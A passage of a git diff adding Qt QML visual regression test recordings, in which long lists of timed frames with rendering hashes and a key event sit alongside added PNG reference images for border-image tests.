+ hash: "ac8f096e8c7cc23bfb01de69cf3e266e" + } + Frame { + msec: 4512 + hash: "dd4c9e63001bc6e0e63ea4db2d85301f" + } + Frame { + msec: 4528 + hash: "2a7bed775824968e318c3d40fbc5b1c2" + } + Frame { + msec: 4544 + hash: "3152e5f29015ece423fbdd11a2b382b8" + } + Frame { + msec: 4560 + hash: "f1a7a4a67a21f5025294af4bea3f8998" + } + Frame { + msec: 4576 + hash: "a40014d842471784e1222eb205395f6f" + } + Frame { + msec: 4592 + hash: "18c2f321a149e38b258ac264d40c2376" + } + Frame { + msec: 4608 + hash: "4ae120bb6dc2bd5ff81cc99ae03c191e" + } + Frame { + msec: 4624 + hash: "19d05a96f3ae7388e854bbf1075b51c1" + } + Frame { + msec: 4640 + hash: "e418b5f54705515dce5ce3b4cbc45d19" + } + Frame { + msec: 4656 + hash: "554e1d360463871e7c05cfe6f8abe1dd" + } + Frame { + msec: 4672 + hash: "153237f8cf37e29ad2f32f7a8a6aecdb" + } + Frame { + msec: 4688 + hash: "60f158382f75103c78e2b9b408e0fe65" + } + Frame { + msec: 4704 + hash: "4e60300cfab8634e04dcd1b556251d31" + } + Frame { + msec: 4720 + hash: "6a521f952e05d91b86ad78fd6f5de4f9" + } + Frame { + msec: 4736 + hash: "b74521d6ac531414aeeca0fb28379d11" + } + Frame { + msec: 4752 + hash: "a6f17da2dd581bdc249ff62f833dc025" + } + Frame { + msec: 4768 + hash: "93d9f0a7c387cbe653a9a088f8f4ef2b" + } + Frame { + msec: 4784 + hash: "1ea07ee309ce2c52cbc36370b75a872f" + } + Frame { + msec: 4800 + image: "animated.4.png" + } + Frame { + msec: 4816 + hash: "c7eb7837dce71c914186326216214eeb" + } + Frame { + msec: 4832 + hash: "0cba07ca38c7f0483244832a42d9ac53" + } + Frame { + msec: 4848 + hash: "93cf31eabb454ec536c638a506be0648" + } + Frame { + msec: 4864 + hash: "e8a61d3858244127cb2b2812f04f5ce9" + } + Frame { + msec: 4880 + hash: "1ac8c393f084aa1894c26610b7f40ea6" + } + Frame { + msec: 4896 + hash: "8861bf848da5c96b35addff736b01520" + } + Frame { + msec: 4912 + hash: "f04e84ad3579d6334077abe73101d206" + } + Frame { + msec: 4928 + hash: "eac4600372f0fdfadee88896ac915a48" + } + Frame { + msec: 4944 + hash: "ff0928dfd16b2da9811a172c19817a97" + } + Frame { + msec: 4960 + hash: "280288a7988736e30a2a3e4289ac3b0c" + } + Frame { + msec: 4976 + hash: "7383209c80b403b93da3264eadbc047f" + } + Frame { + msec: 4992 + hash: "86360bd58bba5fdd901c105ddb2e3ade" + } + Frame { + msec: 5008 + hash: "bc747167dfb3388ac63e9e68a86b9a03" + } + Frame { + msec: 5024 + hash: "bccb4b8a494bd45bd70c2524a02a9dc3" + } + Frame { + msec: 5040 + hash: "ae48da4a66f93c806725ce749700aac8" + } + Frame { + msec: 5056 + hash: "c763f56728e17fc119539a4d45dfccc3" + } + Frame { + msec: 5072 + hash: "956429472da133324c970774f77784f5" + } + Frame { + msec: 5088 + hash: "a4ddb4956d71fd642d54757938100cf3" + } + Frame { + msec: 5104 + hash: "ec0aea8dc8c269d1f0aee5817347ac55" + } + Frame { + msec: 5120 + hash: "68dae343cf324391ec6721cea14575f7" + } + Frame { + msec: 5136 + hash: "81d2fc6727dc7449d1a87b4abea9b704" + } + Frame { + msec: 5152 + hash: "c3a1f12febc979150028737722d6d045" + } + Frame { + msec: 5168 + hash: "80ebac4d923f67fb8dba3d133ce657ba" + } + Frame { + msec: 5184 + hash: "7c22fc3e30377cc14326833bdd23ddd8" + } + Frame { + msec: 5200 + hash: "5359f5e45e5467c62c2d9521c8199c48" + } + Frame { + msec: 5216 + hash: "30f84a7f67b13a945ba6d5935ea92da5" + } + Frame { + msec: 5232 + hash: "08f55088cdce741c67539f73291e53ab" + } + Frame { + msec: 5248 + hash: "93128906d054e44bfd126fc22bdc3102" + } + Frame { + msec: 5264 + hash: "97f7a2175dcf9ac2581a92d614d72f88" + } + Frame { + msec: 5280 + hash: "587cb6e05048579088e88e0180e3ad48" + } + Frame { + msec: 5296 + hash: "985868869ef2c332da379460a2f3a71b" + } + Frame { + msec: 5312 + hash: "94084ca4998fcda408f6987f52c34185" + } + Frame { + msec: 5328 + hash: "e91bb914c1eb63cd4269b30a220a128a" + } + Frame { + msec: 5344 + hash: "e880d93963c80e4fab5173554c9600fc" + } + Frame { + msec: 5360 + hash: "84c94704c16e246df1048f958cc8cefb" + } + Frame { + msec: 5376 + hash: "4f1eace868a6688e5b24ce48a1f0fd18" + } + Frame { + msec: 5392 + hash: "99de44f74f8e1f79652ab46afb4bb59e" + } + Frame { + msec: 5408 + hash: "44072400ca3f0237d1aebae28a94becc" + } + Frame { + msec: 5424 + hash: "a1bd4e995365e79389dba80f9e3b7af8" + } + Frame { + msec: 5440 + hash: "95d776c84fe155617fc4ee51bdb45b7e" + } + Frame { + msec: 5456 + hash: "3b95eb8cbfc831e1ebee2e456b026ab4" + } + Frame { + msec: 5472 + hash: "826c7741ba0c51de407bb799e8f360b5" + } + Frame { + msec: 5488 + hash: "11673a112566a64aca3c7010b9cc9c4d" + } + Frame { + msec: 5504 + hash: "e1e6c7a7f51bcccd749710dbbf9e97f6" + } + Frame { + msec: 5520 + hash: "5b027815ea3c1ea54e1a02c798c468db" + } + Frame { + msec: 5536 + hash: "65c514c9e926affe1da0b4826d2754c7" + } + Frame { + msec: 5552 + hash: "73c5f23f51797a33f4d2898738e6356e" + } + Frame { + msec: 5568 + hash: "acd9a2e76b22ab0ff809fd3ec3a018ec" + } + Frame { + msec: 5584 + hash: "fb17df681d99d5de05f6329bba697ea5" + } + Frame { + msec: 5600 + hash: "1bf7a98884b506b38326f59f85a53f41" + } + Frame { + msec: 5616 + hash: "0b1a741975e3d9ef8f5e78f371c89441" + } + Frame { + msec: 5632 + hash: "a6937ee49648ed0cb409063bf1da3b87" + } + Frame { + msec: 5648 + hash: "a790f0e884ab85f7802dd094e4ef550f" + } + Frame { + msec: 5664 + hash: "3b644aac161f0a75bfb64f5075373190" + } + Frame { + msec: 5680 + hash: "b12faa76c07adc21634cd8f8cb8436ae" + } + Frame { + msec: 5696 + hash: "3fb20f9dbd40b4729235e13af9643afc" + } + Frame { + msec: 5712 + hash: "f57727419bb51fb1e589b960ddeb20ae" + } + Frame { + msec: 5728 + hash: "7b78cba247f2c209ed81e003ca25d0a5" + } + Frame { + msec: 5744 + hash: "8172e076b05d95248d89e815fde820ef" + } + Frame { + msec: 5760 + image: "animated.5.png" + } + Frame { + msec: 5776 + hash: "74c1e71378b502bc1b732a55806a10f1" + } + Frame { + msec: 5792 + hash: "6eae517ad33f0609c31ef1f8f80ba899" + } + Frame { + msec: 5808 + hash: "a67e9a0f55512fb1c55f13c6b483923b" + } + Frame { + msec: 5824 + hash: "4887cd34d9926a361f3ca2e75be53ea6" + } + Frame { + msec: 5840 + hash: "13ca95adab171d9fad9ee8b75d0226bc" + } + Frame { + msec: 5856 + hash: "affab9fb48c889a2680eb81458d400f9" + } + Frame { + msec: 5872 + hash: "7aa0cbf73f7999be7cde4ec739efbc33" + } + Frame { + msec: 5888 + hash: "36c054064c9a76f4072492e55c70fb6c" + } + Frame { + msec: 5904 + hash: "d1ed4916cb1ecff60277d74369ff311b" + } + Frame { + msec: 5920 + hash: "63ebaa4869728f5e2891d068e4b0091c" + } + Frame { + msec: 5936 + hash: "29245946cbd811fe6bf6b2b41cc13002" + } + Frame { + msec: 5952 + hash: "8a9dd7a2d10771633e6896f3f4a722ae" + } + Frame { + msec: 5968 + hash: "058c918e83bfdd665cd836566b53959b" + } + Frame { + msec: 5984 + hash: "fdf3b7a0391119e2fe77be8d6a17481d" + } + Frame { + msec: 6000 + hash: "ed5d80c33dbf72624385b1cf43784626" + } + Frame { + msec: 6016 + hash: "911591db1519ba264847f09868e38e0e" + } + Frame { + msec: 6032 + hash: "ed5d80c33dbf72624385b1cf43784626" + } + Frame { + msec: 6048 + hash: "fdf3b7a0391119e2fe77be8d6a17481d" + } + Frame { + msec: 6064 + hash: "058c918e83bfdd665cd836566b53959b" + } + Frame { + msec: 6080 + hash: "8a9dd7a2d10771633e6896f3f4a722ae" + } + Frame { + msec: 6096 + hash: "29245946cbd811fe6bf6b2b41cc13002" + } + Frame { + msec: 6112 + hash: "63ebaa4869728f5e2891d068e4b0091c" + } + Frame { + msec: 6128 + hash: "d1ed4916cb1ecff60277d74369ff311b" + } + Frame { + msec: 6144 + hash: "36c054064c9a76f4072492e55c70fb6c" + } + Frame { + msec: 6160 + hash: "7aa0cbf73f7999be7cde4ec739efbc33" + } + Frame { + msec: 6176 + hash: "affab9fb48c889a2680eb81458d400f9" + } + Frame { + msec: 6192 + hash: "13ca95adab171d9fad9ee8b75d0226bc" + } + Frame { + msec: 6208 + hash: "4887cd34d9926a361f3ca2e75be53ea6" + } + Frame { + msec: 6224 + hash: "a67e9a0f55512fb1c55f13c6b483923b" + } + Frame { + msec: 6240 + hash: "6eae517ad33f0609c31ef1f8f80ba899" + } + Frame { + msec: 6256 + hash: "74c1e71378b502bc1b732a55806a10f1" + } + Frame { + msec: 6272 + hash: "a88d6fc324ef48aa52c642a1662ec679" + } + Frame { + msec: 6288 + hash: "8172e076b05d95248d89e815fde820ef" + } + Frame { + msec: 6304 + hash: "7b78cba247f2c209ed81e003ca25d0a5" + } + Frame { + msec: 6320 + hash: "f57727419bb51fb1e589b960ddeb20ae" + } + Frame { + msec: 6336 + hash: "3fb20f9dbd40b4729235e13af9643afc" + } + Frame { + msec: 6352 + hash: "b12faa76c07adc21634cd8f8cb8436ae" + } + Frame { + msec: 6368 + hash: "3b644aac161f0a75bfb64f5075373190" + } + Frame { + msec: 6384 + hash: "a790f0e884ab85f7802dd094e4ef550f" + } + Frame { + msec: 6400 + hash: "a6937ee49648ed0cb409063bf1da3b87" + } + Frame { + msec: 6416 + hash: "0b1a741975e3d9ef8f5e78f371c89441" + } + Frame { + msec: 6432 + hash: "1bf7a98884b506b38326f59f85a53f41" + } + Frame { + msec: 6448 + hash: "fb17df681d99d5de05f6329bba697ea5" + } + Frame { + msec: 6464 + hash: "acd9a2e76b22ab0ff809fd3ec3a018ec" + } + Frame { + msec: 6480 + hash: "73c5f23f51797a33f4d2898738e6356e" + } + Frame { + msec: 6496 + hash: "65c514c9e926affe1da0b4826d2754c7" + } + Frame { + msec: 6512 + hash: "5b027815ea3c1ea54e1a02c798c468db" + } + Frame { + msec: 6528 + hash: "e1e6c7a7f51bcccd749710dbbf9e97f6" + } + Frame { + msec: 6544 + hash: "11673a112566a64aca3c7010b9cc9c4d" + } + Frame { + msec: 6560 + hash: "826c7741ba0c51de407bb799e8f360b5" + } + Frame { + msec: 6576 + hash: "3b95eb8cbfc831e1ebee2e456b026ab4" + } + Frame { + msec: 6592 + hash: "95d776c84fe155617fc4ee51bdb45b7e" + } + Frame { + msec: 6608 + hash: "a1bd4e995365e79389dba80f9e3b7af8" + } + Frame { + msec: 6624 + hash: "44072400ca3f0237d1aebae28a94becc" + } + Frame { + msec: 6640 + hash: "99de44f74f8e1f79652ab46afb4bb59e" + } + Frame { + msec: 6656 + hash: "4f1eace868a6688e5b24ce48a1f0fd18" + } + Frame { + msec: 6672 + hash: "84c94704c16e246df1048f958cc8cefb" + } + Frame { + msec: 6688 + hash: "e880d93963c80e4fab5173554c9600fc" + } + Frame { + msec: 6704 + hash: "e91bb914c1eb63cd4269b30a220a128a" + } + Frame { + msec: 6720 + image: "animated.6.png" + } + Frame { + msec: 6736 + hash: "985868869ef2c332da379460a2f3a71b" + } + Frame { + msec: 6752 + hash: "587cb6e05048579088e88e0180e3ad48" + } + Frame { + msec: 6768 + hash: "97f7a2175dcf9ac2581a92d614d72f88" + } + Frame { + msec: 6784 + hash: "93128906d054e44bfd126fc22bdc3102" + } + Frame { + msec: 6800 + hash: "08f55088cdce741c67539f73291e53ab" + } + Frame { + msec: 6816 + hash: "30f84a7f67b13a945ba6d5935ea92da5" + } + Frame { + msec: 6832 + hash: "5359f5e45e5467c62c2d9521c8199c48" + } + Frame { + msec: 6848 + hash: "7c22fc3e30377cc14326833bdd23ddd8" + } + Frame { + msec: 6864 + hash: "80ebac4d923f67fb8dba3d133ce657ba" + } + Frame { + msec: 6880 + hash: "c3a1f12febc979150028737722d6d045" + } + Frame { + msec: 6896 + hash: "81d2fc6727dc7449d1a87b4abea9b704" + } + Frame { + msec: 6912 + hash: "68dae343cf324391ec6721cea14575f7" + } + Frame { + msec: 6928 + hash: "ec0aea8dc8c269d1f0aee5817347ac55" + } + Frame { + msec: 6944 + hash: "a4ddb4956d71fd642d54757938100cf3" + } + Frame { + msec: 6960 + hash: "956429472da133324c970774f77784f5" + } + Frame { + msec: 6976 + hash: "c763f56728e17fc119539a4d45dfccc3" + } + Frame { + msec: 6992 + hash: "ae48da4a66f93c806725ce749700aac8" + } + Frame { + msec: 7008 + hash: "bccb4b8a494bd45bd70c2524a02a9dc3" + } + Frame { + msec: 7024 + hash: "bc747167dfb3388ac63e9e68a86b9a03" + } + Frame { + msec: 7040 + hash: "86360bd58bba5fdd901c105ddb2e3ade" + } + Frame { + msec: 7056 + hash: "7383209c80b403b93da3264eadbc047f" + } + Frame { + msec: 7072 + hash: "280288a7988736e30a2a3e4289ac3b0c" + } + Frame { + msec: 7088 + hash: "ff0928dfd16b2da9811a172c19817a97" + } + Frame { + msec: 7104 + hash: "eac4600372f0fdfadee88896ac915a48" + } + Frame { + msec: 7120 + hash: "f04e84ad3579d6334077abe73101d206" + } + Frame { + msec: 7136 + hash: "8861bf848da5c96b35addff736b01520" + } + Frame { + msec: 7152 + hash: "1ac8c393f084aa1894c26610b7f40ea6" + } + Frame { + msec: 7168 + hash: "e8a61d3858244127cb2b2812f04f5ce9" + } + Frame { + msec: 7184 + hash: "93cf31eabb454ec536c638a506be0648" + } + Frame { + msec: 7200 + hash: "0cba07ca38c7f0483244832a42d9ac53" + } + Frame { + msec: 7216 + hash: "c7eb7837dce71c914186326216214eeb" + } + Frame { + msec: 7232 + hash: "593a8a45c3a0cd7ce1cb6bd1913136ba" + } + Frame { + msec: 7248 + hash: "1ea07ee309ce2c52cbc36370b75a872f" + } + Frame { + msec: 7264 + hash: "93d9f0a7c387cbe653a9a088f8f4ef2b" + } + Frame { + msec: 7280 + hash: "a6f17da2dd581bdc249ff62f833dc025" + } + Frame { + msec: 7296 + hash: "b74521d6ac531414aeeca0fb28379d11" + } + Frame { + msec: 7312 + hash: "6a521f952e05d91b86ad78fd6f5de4f9" + } + Frame { + msec: 7328 + hash: "4e60300cfab8634e04dcd1b556251d31" + } + Frame { + msec: 7344 + hash: "60f158382f75103c78e2b9b408e0fe65" + } + Frame { + msec: 7360 + hash: "153237f8cf37e29ad2f32f7a8a6aecdb" + } + Frame { + msec: 7376 + hash: "554e1d360463871e7c05cfe6f8abe1dd" + } + Frame { + msec: 7392 + hash: "e418b5f54705515dce5ce3b4cbc45d19" + } + Frame { + msec: 7408 + hash: "19d05a96f3ae7388e854bbf1075b51c1" + } + Frame { + msec: 7424 + hash: "4ae120bb6dc2bd5ff81cc99ae03c191e" + } + Frame { + msec: 7440 + hash: "18c2f321a149e38b258ac264d40c2376" + } + Frame { + msec: 7456 + hash: "a40014d842471784e1222eb205395f6f" + } + Frame { + msec: 7472 + hash: "f1a7a4a67a21f5025294af4bea3f8998" + } + Frame { + msec: 7488 + hash: "3152e5f29015ece423fbdd11a2b382b8" + } + Frame { + msec: 7504 + hash: "2a7bed775824968e318c3d40fbc5b1c2" + } + Frame { + msec: 7520 + hash: "dd4c9e63001bc6e0e63ea4db2d85301f" + } + Frame { + msec: 7536 + hash: "ac8f096e8c7cc23bfb01de69cf3e266e" + } + Frame { + msec: 7552 + hash: "6b48bfd0c7993f746d6301c2a0f61d23" + } + Frame { + msec: 7568 + hash: "06d8d8a1a41893d4e27725948a75caf4" + } + Frame { + msec: 7584 + hash: "3f62f032239d412d3637198f5e3e83d6" + } + Frame { + msec: 7600 + hash: "01947e631c3db43f7c5b4427229bc0c8" + } + Frame { + msec: 7616 + hash: "2266df495ab5265e7514a506d3bf5bc6" + } + Frame { + msec: 7632 + hash: "8c66a33d26eec2a1133f4362710a5fab" + } + Frame { + msec: 7648 + hash: "75c9bf83ca3fe24612c245698c089430" + } + Frame { + msec: 7664 + hash: "c1936628aec13e08e9581dcd2c6d5717" + } + Frame { + msec: 7680 + image: "animated.7.png" + } + Frame { + msec: 7696 + hash: "8419f1d75b14130730bcfec4e3a9b058" + } + Frame { + msec: 7712 + hash: "482bb92d4f0ad5d7c7e379b9e1ad326e" + } + Frame { + msec: 7728 + hash: "406224b535b4425d2708df0083acdc8e" + } + Frame { + msec: 7744 + hash: "3dac1d9632378bd18c1c938a4868e3fb" + } + Frame { + msec: 7760 + hash: "08b9be66e23c7b6f6f629c7470394601" + } + Frame { + msec: 7776 + hash: "7b4d12e5a877507e7454aa1b8ed87c2d" + } + Frame { + msec: 7792 + hash: "4d45d70f997c2c67166905c97a900d2e" + } + Frame { + msec: 7808 + hash: "c5b3dede34b0d1d78135e39c41d117c6" + } + Frame { + msec: 7824 + hash: "b63e4d1686057828fd8781f1c33585f5" + } + Frame { + msec: 7840 + hash: "755cfccc38bababc468fe6e1076804bb" + } + Frame { + msec: 7856 + hash: "465ec993948f7b75aeb5759976f4620d" + } + Frame { + msec: 7872 + hash: "228d5312c261d1a5455faf69ec2f2520" + } + Frame { + msec: 7888 + hash: "aacf9ae3c23d174a1c1cda493600e355" + } + Frame { + msec: 7904 + hash: "4c60d345821f515c7811f3b69eb94607" + } + Frame { + msec: 7920 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 7936 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 7952 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 7968 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 7984 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8000 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8016 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8032 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8048 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8064 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8080 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8096 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8112 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 8128 + hash: "4c60d345821f515c7811f3b69eb94607" + } + Frame { + msec: 8144 + hash: "aacf9ae3c23d174a1c1cda493600e355" + } + Frame { + msec: 8160 + hash: "228d5312c261d1a5455faf69ec2f2520" + } + Frame { + msec: 8176 + hash: "465ec993948f7b75aeb5759976f4620d" + } + Frame { + msec: 8192 + hash: "755cfccc38bababc468fe6e1076804bb" + } + Frame { + msec: 8208 + hash: "b63e4d1686057828fd8781f1c33585f5" + } + Frame { + msec: 8224 + hash: "c5b3dede34b0d1d78135e39c41d117c6" + } + Frame { + msec: 8240 + hash: "4d45d70f997c2c67166905c97a900d2e" + } + Frame { + msec: 8256 + hash: "7b4d12e5a877507e7454aa1b8ed87c2d" + } + Frame { + msec: 8272 + hash: "08b9be66e23c7b6f6f629c7470394601" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 8288 + hash: "3dac1d9632378bd18c1c938a4868e3fb" + } + Frame { + msec: 8304 + hash: "406224b535b4425d2708df0083acdc8e" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.0.png new file mode 100644 index 0000000..80cbd26 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.1.png new file mode 100644 index 0000000..80cbd26 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.2.png new file mode 100644 index 0000000..80cbd26 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.3.png new file mode 100644 index 0000000..80cbd26 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.4.png new file mode 100644 index 0000000..80cbd26 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.qml new file mode 100644 index 0000000..16cd5e9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.qml @@ -0,0 +1,1359 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 32 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 48 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 64 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 80 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 96 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 112 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 128 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 144 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 160 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 176 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 192 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 208 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 224 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 240 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 256 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 272 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 288 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 304 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 320 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 336 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 352 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 368 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 384 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 400 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 416 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 432 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 448 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 464 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 480 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 496 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 512 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 528 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 544 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 560 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 576 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 592 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 608 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 624 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 640 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 656 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 672 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 688 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 704 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 720 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 736 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 752 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 768 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 784 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 800 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 816 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 832 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 848 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 864 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 880 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 896 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 912 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 928 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 944 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 960 + image: "borders.0.png" + } + Frame { + msec: 976 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 992 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1008 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1024 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1040 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1056 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1072 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1088 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1104 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1120 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1136 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1152 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1168 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1184 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1200 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1216 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1232 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1248 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1264 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1280 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1296 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1312 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1328 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1344 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1360 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1376 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1392 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1408 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1424 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1440 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1456 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1472 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1488 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1504 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1520 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1536 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1552 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1568 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1584 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1600 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1616 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1632 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1648 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1664 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1680 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1696 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1712 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1728 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1744 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1760 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1776 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1792 + hash: 